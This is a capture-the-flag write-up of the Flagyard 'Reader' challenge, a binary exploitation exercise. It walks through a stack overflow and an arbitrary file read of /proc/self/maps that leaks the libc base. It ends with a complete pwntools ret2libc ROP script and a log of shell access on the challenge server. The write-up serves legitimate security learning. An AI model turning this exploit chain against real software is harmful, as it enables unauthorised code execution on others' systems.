Post

Reader @ Flagyard

Reader @ Flagyard

Reader - Flagyard

Difficulty: Easy

Overview: The Reader challenge threads two complementary vulnerabilities into a compact exploit chain. On the one hand, the service exposes an arbitrary file-read primitive that lets us exfiltrate runtime memory. On the other hand, a classic stack buffer overflow (no stack canary) gives us a write primitive powerful enough to overwrite saved frame data and the return instruction pointer.

Basic File Checks

First all we do some basic file checks to see the security protections enabled on the binary.

1
2
3
4
5
6
7
8
mcsam@0x32:~/Desktop/ctf/flagyard/pwn/reader$ checksec --file reader
[*] '/home/mcsam/Desktop/ctf/flagyard/pwn/reader/reader'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

The binary is 64 bit little endian and the build lacks stack canaries, which lets us overwrite the saved return address on the stack. Also we can see that PIE is enabled.

Decompiling and identifying vulnerabilities

Fortunately, the binary is not stripped, which means all function names and symbols are intact. This allows us to quickly navigate through the program’s logic and locate vulnerable functions. As shown below, the file command confirms that the binary retains its debugging symbols:

1
2
mcsam@0x32:~/Desktop/ctf/flagyard/pwn/reader$ file reader
reader: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4b3d2f1a031caf33557b380fcf386d1d37b9fb02, for GNU/Linux 4.4.0, not stripped

Before diving into decompilation, interact with the program to understand its behavior:

1
2
3
4
5
6
7
8
9
10
11
mcsam@0x32:~/Desktop/ctf/flagyard/pwn/reader$ ./reader
give me file to read: /etc/hosts
127.0.0.1	localhost
127.0.1.1	0x32
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
give me file to read: 

The program allows to read any file on the system by providing a path. In the snippet, i successfully read /etc/hosts.

Now inspect main (decompiled):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[100]; // [rsp+0h] [rbp-70h] BYREF
  int c; // [rsp+64h] [rbp-Ch]
  FILE *stream; // [rsp+68h] [rbp-8h]

  setup(argc, argv, envp);
  while ( 1 )
  {
    printf("give me file to read: ");
    read(0, buf, 256uLL);
    buf[strcspn(buf, "\n")] = 0;
    if ( strstr(buf, "flag") )
    {
      puts("can't read this file ");
      return 1;
    }
    stream = fopen(buf, "r");
    if ( !stream )
      break;
    while ( 1 )
    {
      c = fgetc(stream);
      if ( c == -1 )
        break;
      putchar(c);
    }
  }
  puts("can't open this file ");
  return 1;
}

Immediately we can spot a vulnerability. The read function reads in 256 bytes but the buffer in which it reads into is only 100 bytes. This is a classic case of buffer overflow. Leveraging this we can write beyond thee bounds of the buffer.

Let’s verify this in gdb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mcsam@0x32:~/Desktop/ctf/flagyard/pwn/reader$ gdb ./reader
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1
...
Loading GEF...
GEF is ready, type 'gef' to start, 'gef config' to configure
Loaded 382 commands (+100 aliases) for GDB 12.1 using Python engine 3.10
[+] Not found /home/mcsam/.gef.rc, GEF uses default settings
Reading symbols from ./reader...
(No debugging symbols found in ./reader)
gef> run 
Starting program: /home/mcsam/Desktop/ctf/flagyard/pwn/reader/reader 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
give me file to read: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
can't open this file 

Program received signal SIGSEGV, Segmentation fault.
0x00005555555552e7 in main ()

After entering a 256 byte input the program terminates with a SIGSEV. Looking at the stack we see that more than 100 bytes have been written to memory overwriting other address on the stack.

Reader BOF

From this we can start thinking of overwriting the return address on the stack. Then we will craft our ROP chain and write it to memory to finally obtain code execution. Our current challenges are :

  1. Determine the exact offset required to overwrite the saved return address.
  2. Obtain a libc leak (so we can compute libc_base) and then build a ROP chain using libc gadgets.

Leaking libc

The program’s arbitrary-file-read primitive gives a simple, reliable way to discover the runtime libc base: read /proc/self/maps, find the line for the loaded libc, and parse the start address. With that single pointer you can compute libc_base and derive system, pop rdi; ret, "/bin/sh", etc., regardless of ASLR/PIE.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
mcsam@0x32:~/Desktop/ctf/flagyard/pwn/reader$ ./reader
give me file to read: /proc/self/maps
5e2666c0b000-5e2666c0c000 r--p 00000000 103:02 6747154                   /home/mcsam/Desktop/ctf/flagyard/pwn/reader/reader
5e2666c0c000-5e2666c0d000 r-xp 00001000 103:02 6747154                   /home/mcsam/Desktop/ctf/flagyard/pwn/reader/reader
5e2666c0d000-5e2666c0e000 r--p 00002000 103:02 6747154                   /home/mcsam/Desktop/ctf/flagyard/pwn/reader/reader
5e2666c0e000-5e2666c0f000 r--p 00002000 103:02 6747154                   /home/mcsam/Desktop/ctf/flagyard/pwn/reader/reader
5e2666c0f000-5e2666c10000 rw-p 00003000 103:02 6747154                   /home/mcsam/Desktop/ctf/flagyard/pwn/reader/reader
5e268f6d6000-5e268f6f7000 rw-p 00000000 00:00 0                          [heap]
701215400000-701215428000 r--p 00000000 103:02 2099474                   /usr/lib/x86_64-linux-gnu/libc.so.6
701215428000-7012155bd000 r-xp 00028000 103:02 2099474                   /usr/lib/x86_64-linux-gnu/libc.so.6
7012155bd000-701215615000 r--p 001bd000 103:02 2099474                   /usr/lib/x86_64-linux-gnu/libc.so.6
701215615000-701215616000 ---p 00215000 103:02 2099474                   /usr/lib/x86_64-linux-gnu/libc.so.6
701215616000-70121561a000 r--p 00215000 103:02 2099474                   /usr/lib/x86_64-linux-gnu/libc.so.6
70121561a000-70121561c000 rw-p 00219000 103:02 2099474                   /usr/lib/x86_64-linux-gnu/libc.so.6
70121561c000-701215629000 rw-p 00000000 00:00 0 
7012156d7000-7012156da000 rw-p 00000000 00:00 0 
7012156fa000-7012156fc000 rw-p 00000000 00:00 0 
7012156fc000-7012156fe000 r--p 00000000 103:02 2097540                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7012156fe000-701215728000 r-xp 00002000 103:02 2097540                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
701215728000-701215733000 r--p 0002c000 103:02 2097540                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
701215734000-701215736000 r--p 00037000 103:02 2097540                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
701215736000-701215738000 rw-p 00039000 103:02 2097540                   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffca71f1000-7ffca7212000 rw-p 00000000 00:00 0                          [stack]
7ffca730f000-7ffca7313000 r--p 00000000 00:00 0                          [vvar]
7ffca7313000-7ffca7315000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
give me file to read: 

Calclulating the offset

Now that we can leak the base of libc. We will proceed by finding the offset reuquired to overwrite the return address. This time we will run the program with normal input and calculate the offset required. We will do this using GDB.

Let’s first set a breakpoint

1
brva 0x126b

Calculating Offset To overwrite the saved return RIP we must know how many bytes from the start of the user-controlled buffer reach the saved rbp and then the return address at [rbp + 8]. From the stack dump in the image we count the 8-byte rows between the buffer start and the saved rbp. There are 15 rows of 8 bytes each before the saved rbp, so:

1
offset to saved RBP = 15 * 8 = 120 bytes

The saved return address sits immediately after saved rbp (at [rbp + 8]), so writing 120 bytes of padding will overwrite saved RBP. To overwrite the return address itself you need to write an additional 8 bytes (the saved RBP slot) and then start your RIP overwrite.

Obtaining code execution

We now have everything needed to automate the exploit with pwntools: a reliable libc leak and a precise overflow offset, so we can build and deliver a ROP payload to gain code execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
brva 0x126b
'''.format(**locals())



# Set up pwntools for the correct architecture
exe = './reader_patched'
libc = ELF("./libc.so.6")
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

io.sendlineafter('read:', b'/proc/self/maps')

offset = 120

libc.address = int(io.recvline_contains('libc.so.6').split(b'-')[0], 16)

pop_rdi = libc.address + 0x10f75b
ret = libc.address + 0x2882f
binsh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']

print(f'libc.address: {hex(libc.address)}')
print(f'system: {hex(system)}')
print(f'binsh: {hex(binsh)}')
print(f'pop rdi; ret: {hex(pop_rdi)}')
print(f'ret: {hex(ret)}')

payload = flat([
    offset * b'A',
    pop_rdi, binsh, ret, system
])

io.sendafter('read:', payload)

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mcsam@0x32:~/Desktop/ctf/flagyard/pwn/reader$ python3 solve.py REMOTE 34.252.33.37 30506
[*] '/home/mcsam/Desktop/ctf/flagyard/pwn/reader/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Opening connection to 34.252.33.37 on port 30506: Done
[*] Switching to interactive mode
 can't open this file 
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
$  
This post is licensed under CC BY 4.0 by the author.